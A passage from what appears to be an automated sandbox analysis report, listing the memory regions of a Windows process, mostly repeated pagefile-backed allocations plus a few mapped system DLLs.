Region: id = 2444 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2445 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2446 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2447 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2448 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2449 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2450 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2451 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2452 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2453 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2454 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2455 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2456 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2457 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2458 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2459 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2460 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2461 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2462 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2463 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2464 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2465 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2466 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2467 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2468 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2469 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2470 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2471 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2472 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2473 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2474 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2475 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2476 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2477 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2478 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2479 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2480 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2481 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2482 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2483 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2484 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2485 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2486 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2487 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2488 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2489 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2490 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2491 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2492 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2493 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2494 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2495 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2496 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2497 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2498 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2499 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2500 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2501 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2502 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2503 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2504 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2505 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2506 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2507 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2508 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2509 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2510 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2511 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2512 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2513 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2514 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2515 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2516 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2517 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2518 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2519 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2520 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2521 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2522 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2523 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2524 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2525 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2526 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2527 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2528 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2529 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2530 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2531 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2532 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2533 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2534 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2535 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2536 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2537 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2538 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2539 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2540 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2541 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2542 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2543 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2544 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2545 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2546 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2547 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2548 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2549 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2550 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2551 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2552 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2553 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2554 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2555 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2556 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2557 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2558 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2559 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2560 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2561 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2562 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2563 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2564 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2565 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2566 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2567 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2568 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2569 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2570 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2571 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2572 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2573 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2574 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2575 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2576 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2577 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2578 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2579 start_va = 0x2cd0000 end_va = 0x2cd3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002cd0000" filename = "" Region: id = 2580 start_va = 0x2d60000 end_va = 0x2d61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d60000" filename = "" Region: id = 2581 start_va = 0x7fef5a50000 end_va = 0x7fef5a5afff entry_point = 0x7fef5a50000 region_type = mapped_file name = "hcproviders.dll" filename = "\\Windows\\System32\\hcproviders.dll" (normalized: "c:\\windows\\system32\\hcproviders.dll") Region: id = 2582 start_va = 0x2cd0000 end_va = 0x2cd4fff entry_point = 0x2cd0000 region_type = mapped_file name = "actioncenter.dll.mui" filename = "\\Windows\\System32\\en-US\\ActionCenter.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\actioncenter.dll.mui") Region: id = 2583 start_va = 0x2d70000 end_va = 0x2d78fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2660 start_va = 0x2d70000 end_va = 0x2d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 2661 start_va = 0x2d80000 end_va = 0x2d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 2662 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2663 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2664 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2665 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2666 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2667 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2668 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2669 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2670 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2671 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2672 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2673 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2674 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2675 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2676 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2677 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2678 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2679 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2680 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2681 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2682 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2683 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2684 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2685 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2686 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2687 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2688 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2689 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2690 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2691 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2692 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2693 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2694 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2695 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2696 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2697 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2698 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2699 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2700 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2701 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2702 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2703 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2704 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2705 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2706 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2707 start_va = 0x2d70000 end_va = 0x2d73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d70000" filename = "" Region: id = 2708 